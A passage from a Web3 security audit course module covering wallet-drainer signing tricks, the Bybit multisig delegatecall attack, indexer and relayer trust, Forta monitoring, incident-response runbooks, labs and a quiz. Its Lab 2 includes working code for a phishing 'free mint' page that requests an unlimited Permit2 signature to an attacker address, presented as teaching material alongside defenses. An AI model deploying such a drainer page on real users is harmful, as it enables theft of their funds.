Detection / refusal (frontend or wallet level):

  • Detect Permit2 signature requests where spender is not on a curated allowlist.
  • Detect amount > balance * 1.5 (or some sane ratio).
  • Detect deadline > now + 30 days (long deadlines are flags).

5.1.2 setApprovalForAll for NFTs

The 721/1155 equivalent. Same shape: user signs a setApprovalForAll(operator, true) for the drainer’s contract; drainer’s contract pulls the user’s entire collection.

Wallets have started warning on setApprovalForAll. Drainers responded with obfuscation (calling intermediate contracts that do it indirectly).

5.1.3 Direct eth_sendTransaction with hidden ETH/contract interaction

The straightforward case: user clicks “Claim airdrop” and the dApp requests an eth_sendTransaction to attacker contract. Wallets render this; some users still click through. Drainers wrap in a contract that looks legitimate (“AirdropClaim” with a verified-source on Etherscan that doesn’t match the bytecode at deploy time [verify Etherscan source-vs-bytecode check]).

5.1.4 Safe execTransaction with delegatecall operation

The Bybit pattern. Safe multisig signers sign EIP-712 typed-data containing fields:

operation: 1   // 0 = CALL, 1 = DELEGATECALL
to: 0x96221423681A6d52E184D440a8eFCEbB105C7242  // attacker
data: <attacker payload>

The Safe UI was injected to display operation: 0 and to: <legit hot wallet>. The Ledger hardware wallets received the actual bytes (operation: 1 to attacker). The Ledger UI displayed a hash that the signers had no way to interpret without external tooling. They clicked “Approve”. The delegatecall ran in Safe storage context and changed ownership to the attacker.

Mitigations:

  • Refuse delegatecall operations by default in the multisig UI; require a separate “this is an upgrade” toggle.
  • Verify EIP-712 hash off-band before signing. Safe Transaction Service publishes the hash; an independent script can recompute it from the displayed data; if they diverge, you’ve got UI tampering.
  • Hardware wallet plugins like “Safe transaction parser” that decode the typed-data on the device itself, not the host UI.

5.2 What auditors flag in frontend reviews to harden against drainers

Add to checklist:

  • Every signing call site is wrapped in a function that produces a human-readable summary (“You are about to allow X to spend up to 100 USDC until tomorrow”). This summary is displayed in your UI before the wallet prompt opens. Mismatches between what your UI claimed and what the wallet shows are detectable by attentive users.
  • Permit2 / permit signing always defaults to exact required amount, not max.
  • All sign requests cross-reference chainId with the user’s active chain; refuse if mismatched.
  • No batch signing of multiple distinct semantic actions in one prompt unless explicitly displayed (e.g., “sign 3 actions: approve, swap, lock”). Batching that hides one action is a phishing primitive.
  • Wallet kit is EIP-6963 with explicit chooser — never silent-pick the first injected provider for value-bearing actions.

6. Indexers, Subgraphs, and “Off-chain Truth”

6.1 What an indexer is, and what it can lie about

An indexer (The Graph, Goldsky, Envio, custom in-house) reads chain events, normalizes them into a queryable form (usually GraphQL), and serves the dApp.

The dApp asks the indexer: “What is user X’s position in pool Y?” The indexer returns a number. The number drives the UI. The user’s wallet does not verify this number against the chain.

flowchart LR
  C[Chain state] --> I[Indexer]
  I --> G[GraphQL API]
  G --> F[Frontend UI]
  F --> S[Signing prompt:<br>'Withdraw X tokens']
  S --> W[Wallet signs raw tx]
  W --> SC[Smart contract<br>actual state check]
  style I fill:#ffcccc
  style G fill:#ffcccc

What an indexer can lie about:

  • Your balance — display wrong, you sign a withdraw for the displayed amount, contract reverts (best case) or processes a different action than you expected (worse).
  • Available rewards / claimable amounts — same pattern.
  • Position health (in a lending protocol) — UI says you’re safe, you’re actually being liquidated.
  • Historical events — phishing emails citing “your transaction was confirmed” can be backed by a malicious indexer.

Indexer trust models:

SystemTrust assumption
The Graph — Hosted ServiceTrust Edge & Node Inc. (now graphops); single operator
The Graph — Decentralized networkTrust the indexer market + curation signals; can query multiple indexers and compare
Goldsky / Envio / hosted SaaSTrust the operator; SLA + corporate accountability
Self-hostedYou are the trust

Audit angle:

  • For value-bearing reads (balances, position health, claimable amounts), is there a direct-chain verification at the moment of signing? Don’t trust the indexer for the number that goes on the signing prompt.
  • Is the indexer’s authority documented? Does the team have an alert if the indexer falls behind chain head or starts returning anomalous values?
  • If The Graph decentralized network: which indexers serve queries? Are there at least 2-3? Could one collude to lie?
  • Subgraph version pinning — a subgraph upgrade can silently change query semantics; pin the version.

6.2 Subgraph as code — read it like contracts

A Graph subgraph is TypeScript code that processes events. It has bugs. It has logic. It should be code-reviewed with the same rigor as the contracts. Real bugs found in subgraphs:

  • Integer overflow in cumulative-position tracking (event-handler used number not BigInt).
  • Missed-event handling (subgraph crashed on one type of event, silently advanced past it).
  • Off-by-one in handlers reading event.params.amount.

If the dApp’s UX depends on a subgraph, the subgraph is part of the system. Scope it into the audit.


7. Relayers and Keepers

7.1 What is a relayer/keeper

A relayer submits transactions on a user’s or protocol’s behalf. A keeper is a relayer that runs on a schedule or triggered by conditions (often called a “bot”).

Use caseExample provider
Submit user-signed meta-transactions (gasless UX)Gelato Relay, OpenZeppelin Defender Relay (sunset 2026), Biconomy
Submit scheduled tasks (rebalance, harvest, liquidate)Gelato Functions, Chainlink Automation, OpenZeppelin Defender Autotasks
Submit on conditions met (oracle-driven)Chainlink Automation, custom keepers

7.2 Audit angles

QuestionWhy it matters
Who can call the keeper’s entry-point on the contract?If the keeper is onlyRole(KEEPER_ROLE), who has that role? If anyone can call, what’s the integrity story?
What MEV is the relayer exposed to?A keeper that calls liquidate() is subject to front-running by other bots. Is the contract designed to be MEV-safe (e.g., commit-reveal, or it’s first-come-first-serve and you accept the loss)?
Payment correctnessMost keepers expect a fee from the protocol or user. If the fee calculation is broken (e.g., off-by-one on gas refund), the keeper either over-pays the protocol or drains it
Liveness and trustIf the keeper stops, what breaks? A perp protocol that depends on a liquidator keeper has a critical liveness dependency. Document and have a fallback (open liquidate() to anyone with proper incentives)
Encrypted / private mempoolIf the relayer uses Flashbots Protect, are you OK with that? Some relayers route via private RPC; the dApp should let the user choose

7.3 Gelato specifically

Gelato Relay (gasless meta-tx) and Gelato Functions (off-chain compute → on-chain submission) both require the contract to handle a relayer in a security-aware way:

  • For Gelato Relay: the contract should verify _msgSender() via ERC-2771 trusted-forwarder pattern. Common bug: forgetting to use _msgSender() and instead msg.sender, which is always the forwarder for relayed calls; the user is impersonated.
  • For Gelato Functions: the off-chain compute returns a proof / signature; the contract must verify it. Don’t trust the relayer’s output.

Chainlink’s keeper service polls checkUpkeep(bytes calldata) on registered contracts and, if it returns true, calls performUpkeep(bytes calldata).

Audit angles:

  • checkUpkeep is a view; can a contract designed to be re-entrancy-safe in normal calls also be safe when its view is read at adversarial moments? (See read-only reentrancy in Tuan-05-Vulnerability-Classes-Part-1.)
  • performUpkeep should re-verify the condition. A common bug is trusting that checkUpkeep was just true; an attacker can call performUpkeep directly with crafted calldata.
  • Funding: Chainlink Upkeeps are funded with LINK; if funding runs out, the keeper stops. Liveness alert.

8. Infrastructure Monitoring & Detection

8.1 Forta

Forta is a decentralized network of detection bots running against chain data, emitting alerts. Common uses:

  • “Large transfer from this contract” → alert.
  • “New admin role granted in this contract” → alert.
  • “Suspicious approval pattern” → alert.

Bot anatomy (TypeScript SDK):

import { Finding, FindingSeverity, FindingType, HandleTransaction, TransactionEvent } from 'forta-agent';
 
const LARGE_TRANSFER_THRESHOLD = ethers.parseUnits('1000000', 6); // 1M USDC
 
const handleTransaction: HandleTransaction = async (txEvent: TransactionEvent) => {
  const findings: Finding[] = [];
  const transfers = txEvent.filterLog([
    'event Transfer(address indexed from, address indexed to, uint256 value)',
  ], USDC_ADDRESS);
 
  for (const transfer of transfers) {
    if (transfer.args.value >= LARGE_TRANSFER_THRESHOLD) {
      findings.push(Finding.fromObject({
        name: 'Large USDC transfer',
        description: `Transfer of ${transfer.args.value} USDC from ${transfer.args.from} to ${transfer.args.to}`,
        alertId: 'LARGE-USDC-TX',
        severity: FindingSeverity.Info,
        type: FindingType.Suspicious,
        metadata: { from: transfer.args.from, to: transfer.args.to, value: transfer.args.value.toString() },
      }));
    }
  }
  return findings;
};
 
export default { handleTransaction };

Audit a Forta bot configuration: see Lab §10.3.

8.2 Tenderly Alerts and Web3 Actions

Tenderly is the most mature transaction simulator. Its alerting + Web3 Actions provide:

  • Alert on event emitted from a watched contract.
  • Alert on function called.
  • Alert on failed transaction (often the earliest signal of an exploit).
  • Web3 Actions: JS/TS code that runs in response to an alert; can call other APIs, post to Slack/Discord, even submit a transaction (typically a pause).

Strengths: deep transaction simulation, mature debugger, easy onboarding. Weaknesses: trust the operator; not on-chain or decentralized.

8.3 OpenZeppelin Defender (note the sunset)

OpenZeppelin Defender provides Sentinels (monitoring), Autotasks (serverless functions), Relayers (transaction submission), Admin (multisig UX). The classic incident-response automation: Sentinel detects → Autotask fires → Relayer submits pause tx, all in seconds.

[verify status]: OpenZeppelin announced new signups closed June 30, 2025 with final shutdown July 1, 2026. The functionality is being migrated to open-source tools (Relayer, Monitor). Any audit in 2026 must verify whether the project’s incident-response automation depends on Defender and if so, what their migration path is. This is a real risk worth flagging.

8.4 Building a monitoring pipeline (what the audit should expect)

For a serious protocol:

flowchart LR
  C[Chain] --> M1[Forta bots:<br>cross-protocol detectors]
  C --> M2[Tenderly Alerts:<br>protocol-specific events]
  C --> M3[Custom indexer + alert:<br>business-logic invariants]
  M1 --> A[Aggregator:<br>PagerDuty / Opsgenie / Discord]
  M2 --> A
  M3 --> A
  A --> H[On-call human]
  A --> AT[Automated triage:<br>auto-pause if confidence high]
  AT --> P[Pause guardian tx<br>via Relayer]
  H --> WR[War room:<br>Slack/Discord channel]

Audit expectations:

  • At least 3 independent detection layers (e.g., Forta + Tenderly + in-house).
  • Alerts routed to a 24/7 human plus an automated fallback.
  • Automated pause path is tested in a staging environment monthly.
  • Pause-guardian role is its own multisig (not the upgrade multisig — different threat model).
  • Alert sources include: large transfers, role changes, oracle deviations, upgrade events, pause/unpause events, governance proposal lifecycle events.

9. Incident Response Playbook

9.1 Pre-incident — what should be set up before anything goes wrong

ItemOwnerVerification
Pause guardian multisigSecurity teamThreshold appropriate (3-of-5 typical); keys held by signers reachable 24/7; signers practice pause monthly
Pause function on all contracts that can lose fundsEngineeringFunction is whenNotPaused modifier applied; pause guardian role is set; unpause is gated to a longer-timelock multisig
Frontend kill switchDevOpsCan serve a static maintenance page from CDN with one config push; tested
DNS rollback runbookDevOpsDocumented steps to revert to known-good NS records; registrar support contact phone numbers in the runbook
War-room channelOperationsPre-created private Slack/Discord/Signal channel; everyone needed is already a member; channel name standardized
Public-comms templatesCommsPre-written tweet drafts for: “we are investigating”, “confirmed incident, do not interact”, “incident contained”
White-hat outreach planSecurityImmunefi contact warm; Seal 911 process documented; relationships with samczsun / paradigm / known white-hats
Forensics / chain analysis vendorSecurityTRM / Chainalysis / SlowMist contracted in advance; not negotiated during the incident
Insurance / treasury reservesFinanceCover for compensable losses pre-funded into a separate, fast-disbursable address
Audit firm on retainerSecurityA firm you trust ready to do an emergency review of the post-incident fix

9.2 During — first 60 minutes

A condensed runbook. This is what a senior security engineer does. (Lab §10.4 has the full version.)

Minute 0–5 — Triage:

  1. Confirm the incident is real (not a Forta false positive, not a chain reorg). Check at least two data sources (Tenderly + Etherscan + an indexer).
  2. Open the war-room channel. Page the on-call.
  3. Identify scope: which contract, which function, what value-at-risk.

Minute 5–15 — Contain: 4. Pause the affected contracts (via pause guardian). This is your strongest lever; use it before perfect understanding. 5. If frontend is involved: serve maintenance page; remove the production deployment. 6. If DNS is involved: revert nameservers (have registrar support on the phone if it’s a hijack). 7. If npm/CDN is involved: pull the bad version from npm if you control it, request CDN to purge.

Minute 15–30 — Communicate: 8. Public tweet: “We are investigating an incident. Please do not interact with [URL].” Be specific about the URL/contract; vague tweets cause more panic than clarity. 9. Reach out to centralized exchanges and bridges that integrate your contract — they may be able to freeze flows. 10. Notify partners / integrators via your standard channel.

Minute 30–60 — Initial forensics + white-hat outreach: 11. Identify attacker addresses; tag them across explorers. 12. Reach out to attacker via on-chain message offering bug-bounty terms (the white-hat lifeline). 13. Reach out to bridges if attacker is moving funds cross-chain. 14. Start the post-mortem document. Write everything down in real time — memory degrades.

9.3 Post — what an audit will ask about months later

Every serious incident should produce:

  • A post-mortem published publicly (technical + timeline + remediation).
  • A remediation PR that fixes the root cause, with audit by a new firm.
  • A compensation plan that is unambiguous, time-bounded, and communicated.
  • An audit re-engagement to verify the fix and look for related issues.
  • An update to the runbook + checklist + monitoring rules based on lessons learned.

Audit re-engagement question: did the team’s response actually follow their runbook? If not, why? Was the runbook wrong, or was the team unprepared? The answer determines whether the next incident goes better.


10. Lab — Reproduce, audit, and document

10.1 Lab 1 — wagmi+viem with EIP-1193 vs EIP-6963

Goal: build a minimal connect UI that demonstrates both APIs and shows the difference.

mkdir -p ~/web3-sec-lab/wk13/01-eip6963 && cd ~/web3-sec-lab/wk13/01-eip6963
pnpm create vite@latest . --template react-ts
pnpm add wagmi viem @tanstack/react-query

src/wagmi.config.ts:

import { http, createConfig } from 'wagmi';
import { mainnet, sepolia } from 'wagmi/chains';
import { injected, walletConnect, coinbaseWallet } from 'wagmi/connectors';
 
export const config = createConfig({
  chains: [mainnet, sepolia],
  connectors: [
    injected({ shimDisconnect: true }), // EIP-6963 aware in wagmi v2
    walletConnect({ projectId: import.meta.env.VITE_WC_PROJECT_ID }),
    coinbaseWallet({ appName: 'Wk13 Lab' }),
  ],
  transports: {
    [mainnet.id]: http(import.meta.env.VITE_MAINNET_RPC),
    [sepolia.id]: http(import.meta.env.VITE_SEPOLIA_RPC),
  },
});

src/EIP6963Demo.tsx:

import { useEffect, useState } from 'react';
 
interface EIP6963ProviderDetail {
  info: { uuid: string; name: string; icon: string; rdns: string };
  provider: any;
}
 
export function EIP6963Demo() {
  const [providers, setProviders] = useState<EIP6963ProviderDetail[]>([]);
  const [legacyProvider, setLegacyProvider] = useState<string | null>(null);
 
  useEffect(() => {
    function onAnnounce(event: any) {
      setProviders(prev => {
        if (prev.find(p => p.info.uuid === event.detail.info.uuid)) return prev;
        return [...prev, event.detail];
      });
    }
    window.addEventListener('eip6963:announceProvider', onAnnounce);
    window.dispatchEvent(new Event('eip6963:requestProvider'));
 
    // Read legacy window.ethereum for comparison
    if ((window as any).ethereum) {
      setLegacyProvider(
        (window as any).ethereum.isMetaMask ? 'MetaMask (legacy)' :
        (window as any).ethereum.isCoinbaseWallet ? 'Coinbase (legacy)' :
        'Unknown legacy provider'
      );
    }
 
    return () => window.removeEventListener('eip6963:announceProvider', onAnnounce);
  }, []);
 
  return (
    <div>
      <h2>Legacy window.ethereum</h2>
      <pre>{legacyProvider ?? 'none'}</pre>
      <h2>EIP-6963 announced providers</h2>
      <ul>
        {providers.map(p => (
          <li key={p.info.uuid}>
            <img src={p.info.icon} width={24} alt="" />
            <strong>{p.info.name}</strong> — rdns: <code>{p.info.rdns}</code>
          </li>
        ))}
      </ul>
    </div>
  );
}

Task: install three wallet extensions (MetaMask, Rabby, Coinbase Wallet). Load the demo. Observe:

  • window.ethereum is whichever loaded last (the race condition).
  • EIP-6963 returns all three with distinct rdns.

Stretch: build a malicious-looking “RogueWallet” extension that announces rdns: 'io.metamask'. Observe that without a user-presented chooser, your dApp could be fooled. Now build the chooser UI that displays the icon, name, and asks the user to confirm.

10.2 Lab 2 — A phishing “free mint” that asks for a permit instead

Goal: build a deliberately-malicious page on localhost that demonstrates how a wallet-drainer’s signing prompt looks. Use only against local-test wallets with no real funds.

Setup: spin up an anvil with a forked mainnet at a recent block. Pick a test EOA that has some USDC. Configure the wallet to use anvil as its RPC.

PhishingMint.tsx (the bad page):

import { useSignTypedData, useAccount } from 'wagmi';
 
const USDC = '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48';
const ATTACKER = '0x0000000000000000000000000000000000bad000'; // your test address
 
export function PhishingMint() {
  const { address } = useAccount();
  const { signTypedData } = useSignTypedData();
 
  function fakeMintClick() {
    // The user thinks: "Free NFT mint!"
    // Actually: collecting a Permit2 PermitTransferFrom signature for max USDC
    signTypedData({
      domain: {
        name: 'Permit2',
        chainId: 1,
        verifyingContract: '0x000000000022D473030F116dDEE9F6B43aC78BA3', // Permit2
      },
      types: {
        PermitTransferFrom: [
          { name: 'permitted', type: 'TokenPermissions' },
          { name: 'spender', type: 'address' },
          { name: 'nonce', type: 'uint256' },
          { name: 'deadline', type: 'uint256' },
        ],
        TokenPermissions: [
          { name: 'token', type: 'address' },
          { name: 'amount', type: 'uint256' },
        ],
      },
      primaryType: 'PermitTransferFrom',
      message: {
        permitted: { token: USDC, amount: (2n ** 256n - 1n).toString() },
        spender: ATTACKER,
        nonce: '0',
        deadline: (Math.floor(Date.now() / 1000) + 365 * 24 * 60 * 60).toString(),
      },
    });
  }
 
  return <button onClick={fakeMintClick}>Mint your free Doodle</button>;
}

Task:

  1. Connect MetaMask. Click “Mint your free Doodle”.
  2. Observe what MetaMask actually shows. The typed-data display includes spender = 0x0000...bad000, amount = 2^256-1, token = USDC contract, Permit2 verifyingContract.
  3. Read the prompt critically: would a hurried user notice the spender is wrong, the amount is max, and that this is not a mint at all?

Discussion: what would a wallet need to do differently to make this obvious? Examples:

  • Render 2^256-1 as “MAX (unlimited)“.
  • Pull the token symbol from the contract and show “USDC” not the address.
  • Show a warning if spender is not on a known-good list.
  • Show a clear “this is a permit, not a mint” label.

Defense exercise: write a wagmi-level wrapper safeSignTypedData that:

  1. Decodes the typed-data.
  2. If it’s a Permit / Permit2 type, displays a custom modal before calling viem’s signTypedData.
  3. The custom modal renders the amount in human terms, the spender, and the deadline.
  4. The user can click “Continue” only after confirming.

This is the pattern serious dApps use.

10.3 Lab 3 — Audit and extend a Forta bot

Goal: clone a known-vulnerable-protocol detector configuration, audit it, and add a custom detector.

cd ~/web3-sec-lab/wk13/
git clone https://github.com/forta-network/forta-bot-examples
cd forta-bot-examples/ethereum/large-balance-decrease
pnpm install

Audit task: read agent.ts. Answer:

  1. What event/condition triggers a finding?
  2. What’s the threshold? Is it appropriate for the threat model?
  3. What’s the false-positive rate likely to be?
  4. What state does the bot maintain? Is it correct under chain reorgs?
  5. What chain does it run on? What if the target protocol is multi-chain?

Extension task: pick a real protocol (e.g., a small Aave fork on Sepolia). Write a custom detector that fires when:

  • A user’s collateralization ratio falls below a threshold within a single block (potential liquidation-front-run).
  • A new admin role is granted on the protocol’s main contract.
  • A flash-loan-sized borrow + same-block repay occurs (oracle-manipulation pattern).

Code skeleton:

import { Finding, FindingSeverity, FindingType, HandleTransaction, TransactionEvent } from 'forta-agent';
 
const PROTOCOL = '0x...'; // your target
const ADMIN_ROLE_GRANTED = 'event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender)';
const FLASH_LOAN_EVENT = 'event FlashLoan(address indexed receiver, address indexed initiator, address indexed asset, uint256 amount, ...)';
 
export const handleTransaction: HandleTransaction = async (txEvent: TransactionEvent) => {
  const findings: Finding[] = [];
 
  // Admin role granted
  const roleEvents = txEvent.filterLog([ADMIN_ROLE_GRANTED], PROTOCOL);
  for (const e of roleEvents) {
    findings.push(Finding.fromObject({
      name: 'New role granted on protocol',
      description: `Role ${e.args.role} granted to ${e.args.account} by ${e.args.sender}`,
      alertId: 'PROTOCOL-ROLE-GRANTED',
      severity: FindingSeverity.High,
      type: FindingType.Info,
    }));
  }
 
  // Flash-loan + repay heuristic
  const flashEvents = txEvent.filterLog([FLASH_LOAN_EVENT], PROTOCOL);
  if (flashEvents.length > 0) {
    findings.push(Finding.fromObject({
      name: 'Flash loan observed',
      description: `Flash loan of ${flashEvents[0].args.amount} ${flashEvents[0].args.asset}`,
      alertId: 'PROTOCOL-FLASH-LOAN',
      severity: FindingSeverity.Info, // Info; flash loans are normal but worth tracking
      type: FindingType.Suspicious,
      metadata: { initiator: flashEvents[0].args.initiator },
    }));
  }
 
  return findings;
};

Stretch: add a handleBlock that monitors aggregate TVL and alerts on a >10% drop in one block.

10.4 Lab 4 — Incident response runbook, first 60 minutes

Goal: produce a written runbook for a hypothetical incident. Use the scenario:

Scenario: It’s 3:47 AM UTC on a Tuesday. Forta fires a “large unusual transfer” alert from your protocol’s main vault contract. Within 2 minutes, three more alerts fire: another large transfer, an Approval event with value = MAX, and a RoleGranted for the upgrader role. Twitter user @samczsun replies to a community member saying “your frontend is loading a malicious script — do not interact.”

Deliverable: write runbook-frontend-hijack.md with:

  1. Confirmation steps (minutes 0–5): exactly which dashboards / queries / contacts you check to confirm.
  2. Containment (minutes 5–15): exact commands. Who has the keys. How long the pause-guardian multisig takes to assemble (signers’ time zones).
  3. Communication (minutes 15–30): the exact tweet draft. The exchanges you message. The bridges you message.
  4. Forensics + outreach (minutes 30–60): which on-chain analytics you run (Etherscan tag tracking, Phalcon trace), who you reach out to (Seal 911? Immunefi?), what bounty you’d offer.
  5. Decision tree: at minute 60, you must decide: (a) keep paused and re-deploy frontend, (b) keep paused and recover funds via white-hat, (c) emergency upgrade. Spell out the criteria.

This runbook is one of the most valuable deliverables of the course. It’s the artifact you give to a client at the end of an audit; protocols love it.


11. Audit Checklist (Week 13 additions)

Add to the master audit checklist:

Wallet connection:

  • EIP-6963 implemented with explicit user chooser; no silent default-pick.
  • WalletConnect v2 with current SDK pin.
  • chainId cross-check on every sign request.
  • No private-key paste fields.

Frontend supply chain:

  • package-lock.json committed and pinned.
  • Critical-path packages (@walletconnect/*, @ledgerhq/connect-kit, wallet kits, viem, wagmi) version-locked.
  • Build runs on isolated CI, not maintainer laptops.
  • No postinstall scripts from untrusted packages.
  • SBOM produced per release.

Hosting and DNS:

  • Registrar lock + DNSSEC.
  • FIDO2 MFA on all admin accounts (DNS, CDN, hosting, npm).
  • API keys inventoried; scoped permissions; rotated.
  • Frontend pinned to IPFS hash with ENS contenthash.
  • External integrity-monitor of deployed bundle.

Browser-level defenses:

  • CSP set without unsafe-inline / unsafe-eval.
  • connect-src allow-list of RPCs / indexers / WC relays.
  • SRI on all external scripts.
  • COOP same-origin + COEP require-corp.

Signing UX:

  • Application-level human-readable display of every signing payload.
  • Permit / permit2 defaults to exact amount, not max.
  • Refuse signing on chainId mismatch.
  • Refuse Safe delegatecall operation unless explicitly toggled.

RPC trust:

  • Production dApp specifies its own RPC, not the wallet’s default.
  • At least 2 providers with failover.
  • Cross-check head and gas estimates for value-bearing reads.
  • No private API keys in shipped bundle.

Indexers / subgraphs:

  • Indexer trust model documented.
  • Value-bearing reads verified directly against chain at sign time.
  • Subgraph code reviewed.

Relayers / keepers:

  • Trusted-forwarder pattern (ERC-2771) implemented correctly if relayers are used.
  • Keeper liveness fallback documented.
  • MEV exposure analyzed for keeper-driven flows.

Monitoring:

  • At least 3 independent detection layers.
  • 24/7 on-call rotation; pager test monthly.
  • Pause-guardian multisig exists, separate from upgrade multisig.
  • Automated pause path tested monthly in staging.

Incident response:

  • Runbook exists, is dated, has names assigned.
  • War-room channel pre-created.
  • Comms templates pre-drafted.
  • Defender / monitoring service migration plan (given OZ Defender sunset 2026) [verify].

12. Trade-offs and Open Debates

DecisionOption AOption BAuditor’s view
Frontend hostingCentralized (Vercel/Netlify) for UXIPFS + ENS for decentralizationBoth. Production-canonical on IPFS+ENS, mirror on Vercel for new-user UX. Document which is “the truth.”
RPC strategySingle trusted provider (Infura)Multi-provider failoverMulti-provider for any value-bearing dApp. The performance cost is negligible vs. the trust gain.
Wallet kitBuild your ownUse RainbowKit / ConnectKit / Reown AppKitUse a popular kit; the EIP-6963/WalletConnect surface is too easy to get wrong. But pin the version aggressively.
Permit2 defaultExact amountMax approval for UXExact, always. Max is a phishing-friendly default. Power-user opt-in only.
Indexer trustTrust hosted indexer for everythingTrust indexer for UI, verify on chain at sign timeHybrid. The indexer-for-UI / chain-for-truth split is the practical norm.
Incident pauseAggressive (pause on first alert)Conservative (wait for human triage)Aggressive for value-bearing functions; the cost of an unnecessary pause is hours of bad UX; the cost of a delayed pause is the protocol.
Drainer detectionRely on walletsLayer at dApp UIBoth. Wallets are uneven; the dApp can render its own clear preview before invoking the wallet.

13. Quiz (≥80% to advance)

  1. Q: A dApp uses window.ethereum as its sole provider. Three browser extensions are installed (MetaMask, Coinbase Wallet, Rabby). Which provider does the dApp see, and why is this a problem? A: Whichever extension loaded last won the race for window.ethereum. The user has no way to choose, and a malicious extension can deliberately load late to win. EIP-6963 fixes this with an event-based discovery + user chooser.

  2. Q: In the BadgerDAO 2021 incident, the attacker did not compromise the smart contract or the npm dependency tree. What did they compromise, and what did they do with it? A: They obtained unauthorized Cloudflare API key access and deployed a Cloudflare Worker that injected malicious JavaScript into the served HTML. The script intercepted Web3 transactions and prompted users to sign approval-increase transactions to attacker addresses.

  3. Q: Why is a stale or malicious public RPC dangerous for a value-bearing dApp action? A: The RPC can lie about chain state, gas estimates, or simulation results. The dApp displays bad data to the user, the user signs based on bad data, and the transaction submits to the real chain — drain, revert, or wrong action.

  4. Q: A user clicks “Mint” on a free-NFT page and the wallet shows a signing prompt with EIP712Domain { name: 'Permit2', verifyingContract: 0x000000000022D473030F116dDEE9F6B43aC78BA3 }. What’s happening? A: It’s not a mint. The page is requesting a Permit2 PermitTransferFrom signature that, once signed, lets the spender (likely the attacker) drain whichever token the permit is for. The user should refuse and report the site.

  5. Q: What is Subresource Integrity (SRI), and what attack does it defend against? A: SRI lets a script tag carry a SHA-384/512 hash of the expected content. The browser refuses to execute the script if it doesn’t match. It defends against CDN-level supply-chain attacks where a third-party host serves modified content.

  6. Q: Why did the Ledger Connect Kit incident affect dApps that “didn’t use Ledger Connect Kit”? A: Many dApps depended on Ledger Connect Kit transitively — through wallet kits like Web3Modal or other connector libraries. A transitive dependency in the production bundle is identical to a direct dependency from a security standpoint, but few teams audit transitive deps with the same rigor.

  7. Q: A protocol uses The Graph hosted service for its UI. The UI displays “your balance is 1000 USDC”. The user clicks “Withdraw All”. What’s the auditor’s question? A: Is the “1000 USDC” pulled from the chain at the moment of building the withdraw transaction, or is the UI showing the indexer’s (possibly stale or maliciously crafted) number? For value-bearing actions, the signed transaction parameters must come from chain state, not from an off-chain indexer.

  8. Q: What is the auditor’s concern with EIP-2771 trusted-forwarder pattern used by Gelato Relay? A: The contract must use _msgSender() (which decodes the original sender from the forwarder’s calldata) instead of msg.sender (which is the forwarder itself). If a contract uses msg.sender for authorization while being called via a trusted forwarder, every user is impersonated as the forwarder.

  9. Q: A protocol’s incident-response setup depends on OpenZeppelin Defender Sentinels + Autotasks. What should the auditor flag in May 2026? A: OZ Defender announced sunset July 1, 2026 [verify]. Protocols dependent on it should have a documented migration plan to alternatives (the OSS replacements, Tenderly, Forta, or in-house) before that date. Lack of a plan is a Medium finding minimum.

  10. Q: In the Bybit February 2025 incident, the smart contract executed exactly the calldata it received and the signing keys were not stolen. Where did the bug live? A: In the off-chain UI (Safe{Wallet} frontend) which was compromised via injected JavaScript on a developer’s machine. The UI displayed operation: 0 (CALL) to the signers while the hardware wallets received operation: 1 (DELEGATECALL) targeting an attacker contract. The signers approved the hash without independent verification. The bug lived in the gap between displayed and signed bytes — exactly the surface this lesson is about.


14. Week 13 Deliverables

  • Lab 1 (EIP-1193 vs EIP-6963 demo) working; chooser UI built.
  • Lab 2 (phishing permit2 simulator) reproduced locally; defensive safeSignTypedData wrapper written.
  • Lab 3 (Forta bot audit + custom detector) committed.
  • Lab 4 (incident-response runbook, first 60 minutes) written for a chosen protocol.
  • Master audit checklist updated with Week 13 items.
  • One paragraph on each of: BadgerDAO, Curve frontend, Galxe DNS, Ledger Connect Kit, Bybit. For each, write “what would the audit checklist have flagged?”
  • Personal references-frontend-infra.md with at least 20 primary-source links from this week.

15. Where this leads

Next week: Tuan-14-Governance-DAO-Security. Where Week 13 was about the layers between user and contract, Week 14 is about the layer that controls the contract itself — token-weighted voting, delegation, timelocks, multisigs, emergency pauses, and the parameter-risk surface (oracle adjustments, fee changes, collateral factor changes) that has caused several nine-figure governance incidents.

The thematic bridge: in Week 13 we asked “who can change what the user sees and signs?” In Week 14 we ask “who can change what the contract does?” Both questions have the same shape — a trust authority that, if compromised or misused, drains the protocol. The defenses (multi-party authorization, transparency, monitoring, time-delay) are also shared.

Then Week 15 (Tuan-15-Audit-Methodology-Tooling) and Week 16 (Tuan-16-Report-Writing-Capstone) turn these eleven weeks of vocabulary into a professional deliverable.


Last updated: 2026-05-16 See also: Roadmap · References · MOC-Web3-Security-Mastery · Tuan-12-Wallet-AA-Key-Management · Tuan-14-Governance-DAO-Security · Case-BadgerDAO-Frontend-2021 · Case-Galxe-Frontend-Hijack-2023 · Case-Radiant-Capital-2024